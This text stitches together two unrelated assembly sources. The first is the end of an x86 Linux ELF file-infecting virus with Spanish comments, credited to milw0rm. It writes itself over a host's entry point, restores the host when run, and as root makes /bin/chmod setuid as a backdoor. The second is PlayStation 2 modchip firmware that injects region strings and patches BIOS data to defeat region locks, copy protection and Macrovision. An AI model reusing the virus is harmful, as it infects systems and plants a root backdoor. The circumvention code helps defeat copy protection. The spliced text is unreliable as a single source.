ha sido infectado je not_elf movl $0xde, 0x07(%eax) # Marca de infeccion guarda_init: movl $end_vir, %ecx #addl $5, %ecx subl $start_vir, %ecx movl %ecx,-16(%ebp) # -16 -> size del virus + 5 # ecx -> size del virus + 5 leal -500(%ebp), %edi # edi -> -500 movl 0x18(%eax), %esi # esi -> RVA e_entry movl 0x2c(%eax), %ecx # Numero de PH's (e_phnum) (cuenta atras) primer_ph: movl 0x1c(%eax), %edx # edx -> RVA e_phoff addl %eax, %edx # edx -> VA e_phoff busca_ph: cmpl %esi, 0x08(%edx) # if e_entry > p_vaddr => siguiente PH jna destino siguiente_ph: addl 0x2a(%edx), %edx loop busca_ph destino: ######### LA CLAVE DE TODO ########## subl 0x08(%edx), %esi # esi -> RVA e_entry-p_vaddr addl 0x04(%edx), %esi # esi -> RVA e_entry-p_vaddr+p_offset #addl $0x34, %esi # alineacion #subl $0x30 -> _init #addl $0x34 -> _start (p_offset) #subl $0x65, %esi addl %eax, %esi # esi -> VA e_entry-p_vaddr+p_offset movl %esi, %edx salvo_start: movl -16(%ebp), %ecx # virus size rep movsb # copiando _start en -400 guarda_virus: movl %edx, %edi # edi -> VA del entry point movl $start_vir, %esi # esi -> VA del inicio del virus movl -16(%ebp), %ecx # ecx -> size del virus rep movsb jmp sincroniza not_elf: movl $4, %eax movl $1, %ebx movl $notelf, %ecx movl $28, %edx int $0x80 sincroniza: movl %eax, %ebx # ebx -> mapa movl $144, %eax # eax -> msync movl -8(%ebp),%ecx # ecx -> size del mapa movl $2, %edx # edx -> flags int $0x80 desmapea: movl $91, %eax movl -12(%ebp), %ebx # VA inicial del mapa movl -8(%ebp), %ecx # size del mapa int $0x80 seek_end: movl $19, %eax # lseek movl -4(%ebp), %ebx xorl %ecx, %ecx movl $2, %edx # SEEK_END int $0x80 write: movl $4, %eax movl -4(%ebp), %ebx leal -500(%ebp), %ecx movl -16(%ebp), %edx int $0x80 cierra_host: movl $6, %eax movl -4(%ebp), %ebx int $0x80 utime: #movl $30, %eax #int $0x80 ending: movl $6, %eax int $0x80 leave ret ###################################################################### start_vir: pushal # backup de 0x20 bytes subl $400, %esp # espacio de pila de 400 bytes (total 0x1b0 bytes 0x1b0 + 4 = 0x1b4(%esp)) call delta # ebp -> delta offset delta: popl %ebp subl $delta, %ebp payload_code: ##### PAYLOAD ##### soy_root: movl $0x18, %eax int $0x80 #__NR_getuid test %eax, %eax no_pues_fuera: jnz end_payload_code setuidar: movl $0x0f, %eax leal shushi(%ebp), %ebx movl $04755, %ecx int $0x80 # __NR_chmod end_payload_code: ###################### calcula_nombre_host: movl $1,%edx # edx -> length del nombre de host movl 0x1b4(%esp), %edi # edi -> addr del inicio del nombre del huesped xorl %ebx, %ebx movl $9900, %ecx busca_path: cmpl %ebx, (%edi) je path_encontrado incl %edi loop busca_path path_encontrado: movl $100, %ecx decl %edi situa_inicio_nombre: cmpb %bl, (%edi) je nombre_ok decl %edi loop situa_inicio_nombre nombre_ok: incl %edi desproteger_host: movl $125, %eax # mprotect leal start_vir(%ebp), %ebx andl $0xfffff000, %ebx # pagina del bicho movl $2000, %ecx # 2 paginas a desproteger movl $7, %edx # rwx int $0x80 # ahora ya tengo w ya puedo poner encima # el codigo correcto de _start desproteger_pila: movl $125, %eax # mprotect movl %esp, %ebx andl $0xfffff000, %ebx # pagina de pila int $0x80 # reconstruye_host: movl $5, %eax # open movl %edi, %ebx # argv[0] xorl %ecx, %ecx # solo me puedo abrir a mi mismo en modo 0 int $0x80 # (O_RDONLY) movl $end_vir, %esi # final-inicio+variable del final subl $start_vir, %esi # esi -> virus length xorl %ecx, %ecx movl %eax, %ebx # descriptor host movl $19, %eax # lseek movl $2, %edx # SEEK_END int $0x80 # nos situamos al final del host-virsize movl %eax, %edi # edi -> tamanyo del host pushl %ecx # offset: todo el file desde el inicio pushl %ebx # descriptor pushl $1 # mapa privado pushl $1 # solo lectura (el descriptor esta modo 0) pushl %eax # mapeamos todo el file pushl %ecx # que me de el la address movl $90, %eax movl %esp, %ebx int $0x80 cmp $0xfffff000, %eax jbe reconstruye int $3 # mapa incorrecto reconstruye: addl %edi, %eax # eax -> final del mapa subl %esi, %eax # eax -> inicio del saved _start movl %esi, virisize(%ebp) movl %eax, savedstart(%ebp) movl $fin_paranoia, %ecx # como que no me puedo borrar a mi subl $paranoia, %ecx # mismo, porque perderia la ejecucion leal paranoia(%ebp), %esi # copio el codigo de borrado a otro movl %esp, %edi # area de memoria y desvio la ejecucion rep movsb # ahi. jmp *%esp paranoia: movl virisize(%ebp), %ecx movl savedstart(%ebp), %esi # optimizable leal start_vir(%ebp), %edi rep movsb proteger_host: movl $125, %eax # mprotect leal start_vir(%ebp), %ebx andl $0xfffff000, %ebx # pagina del bicho movl $2000, %ecx # 2 paginas a desproteger movl $5, %edx # r-x int $0x80 # ahora ya tengo w ya puedo poner encima # el codigo correcto de _start proteger_pila: movl $125, %eax # mprotect movl %esp, %ebx andl $0xfffff000, %ebx # pagina de pila movl $6, %edx # rw- int $0x80 # movl $6, %eax # close int $0x80 # ebx descriptor leal start_vir(%ebp), %eax addl $424, %esp # ok movl %eax, 8(%esp) # ok (en el saved ebp) popal jmp *%ebp fin_paranoia: virisize: .long 0x00000000 savedstart: .long 0x00000000 shushi: .string "/bin/chmod\0" end_vir: ####################################################################### notelf: .string "NOT ELF OR INFECTED YET!!!\n\0" fin: # milw0rm.com [2006-10-08]

1nick9/PS2-Magic-ICE-FINAL-REVERSE

132,397

h2o-sx28ORsx48-compile-working.s

;******************************************************************************** ; H2O-Improved ;******************************************************************************** ;DEFINE ;expermenting defines, not needed. SX48RAM = 1 ; unneeded memory remap, now working starting at $10 as sx48 has 1-f bank free. sx28 15-1f then or over 2x 4x 6x 8x Ax Cx Ex (had mistaken the or just for 2x bank rest free) ;SX Chip used. SX48 uncomment below. SX28 have commented. SX48 = 1 ; uncomment for compiling for sx48 else is compiled for sx28 F=TR ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. sx28 or this and next define aswell for sx48. sx28 DECFCB1171D02DAE402AC30419CBBDAB ;USE SX48RSTBUMP ONLY FOR SX COMPILING FOR SX48. Both RSTBUMP and SX48RSTBUMP must be on ;SX48RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. for sx48 with RSTBUMP uncommented 4F544B1369ADFAFFA973F51FB47CD27B ;V14/V8jap identiy jmpers. if using sx48 needs the trim, sx28 either can go but stock code is without trim ;H2O75KJMPERS = 1 ; uncomment for compiling with restbump for ps1mode. if compiling for rstbmp use one of the sx28/sx48 with h2o v14usa/v14jap/v8jap ident jmpers else use F=TR defines sx28 C60170F11BFEF1210C677F3704202E21 ;SX48H2O75KJMPERSTRIM = 1 ; needed if using h2o jmpers ident with sx48 rstbmp. h needs to go to 5v if not jap console or triggers my cad. sx28 2CAC930CAEC1E5D3ED67A2AC89769636 sx48 5607357E1E0B3C2815F69713F2AE8970 ;USE ONLY IF F=TR or RSTBUMP without H2O75KJMPERS. ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal sx28 B0316082466C451B3E4C201697BB8D05 sx48 3C452A502DC31221D6E882D6A54D83C1 ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa sx28 5692BFA1416257ACAC48729793EB3F70 sx48 AA4EE16D3BF2D75C1410FAD7F0596092 ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap sx28 6666645ED508DCA4FABF59A2E4296E20 sx48 08F345CF0FD1183AFCD89A20ACCF6BC3 ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;only rstbump v8jap tested but rest should be right IFDEF SX48 device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ELSE device SX28,TURBO,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ENDIF ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) IFDEF SX48 ;regs sx48 VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ELSE ;regs sx28 VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ENDIF ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 also used in conjuction with v12 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1 V12 LOGO PATCH JAP_V8 = VAR_SWITCH.2 ;Jap V8 with last rev of mechacon needing dragon patches abghi X_FLAG = VAR_SWITCH.3 ;xman patch 1 only for PS1 ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 ;DEV1 mode flag V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models V0_FLAG = VAR_SWITCH.6 ;V0 10-18K console flag ;;;; currently unused, for future ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 IFDEF SX48 org $0FFF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w IFDEF H2O75KJMPERS mov w,#$1e ;; extra needed for io v14jmp mov m,w mov w,#$be mov !IO_CDDVD_BUS,w ;; end extra io v14jmp ENDIF mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ELSE org $07FF reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on RB3 ( eject ) & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... IFDEF H2O75KJMPERS mode $000E ;; h and f io jmpers needed/extra 75k/v8jap mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w ;; end ENDIF mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ENDIF ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND ;0 = power up from sleep , 1= power up from Power ON (STBY) snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ;xcdvdman reload check page $0200 jmp IS_XCDVDMANX page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp BIOS_GET_SYNC ;--------------------------------------------------------- ;Delay routine using RTCC ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- DELAY100m ;Precise delay routine using RTCC ;-------------------------------------------------------------------------------- mov w,#100;$64 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#61;$3d mov rtcc,w ;load timer = 61 ; delay = (256-61)*256*0.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_INTRPT ;setup interrupt routine ;-------------------------------------------------------------------------------- IFDEF SX48 mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ELSE mode $000A ;set up edge register mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense ;wait for low mode $0009 ;clear all wakeup pending bits clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ;enable interrupt ; MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enable interrupt mode $000F ; XFh mode direction for RA, RB, RC output retp ENDIF ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb SCEX_FLAG :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; JAP 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; UK 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- IFDEF SX48 snb USA_FLAG jmp usa ;; idea for space usa flow trigger snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ELSE snb JAP_FLAG jmp jap snb UK_FLAG jmp uk clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#8;$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#4;$4 mov VAR_DC4,w jmp SCEx_IO_SET SCEx_IO_SET mov w,#4;$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#8;$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#22;$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$f mov !ra,w ret ENDIF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low nop ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop ENDIF mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z ;; alt v0 ident if C jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f ; check if USA JMPER set for v14 jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off MACRO_CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 ;select KERNEL TYPE V9 or V10 mov w,VAR_BIOS_REV-w snb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp MACRO_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#50;$32 ; v1-8 bios VAR_DC1 set fall over no match for mov VAR_DC1,w MACRO_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V1toV8 MACRO_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V1toV8_L1 MACRO_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V1toV8_L2 ; next byte / wait for bios OE low MACRO_BIOS_V1toV8_PATCH snb IO_BIOS_OE jmp MACRO_BIOS_V1toV8_PATCH decsz VAR_DC1 jmp MACRO_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w ; preload IO_BIOS_DATA for 0 for when change to output IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w MACRO_BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp MACRO_BIOS_V1toV8_IORESET_INPUT ; last 00 patch before set input mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ;exit KERNEL PATCH ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 MACRO_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V9toV14 ; patch 25 10 43 00 to 00 00 00 00 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 MACRO_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V9toV14_L1 MACRO_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp 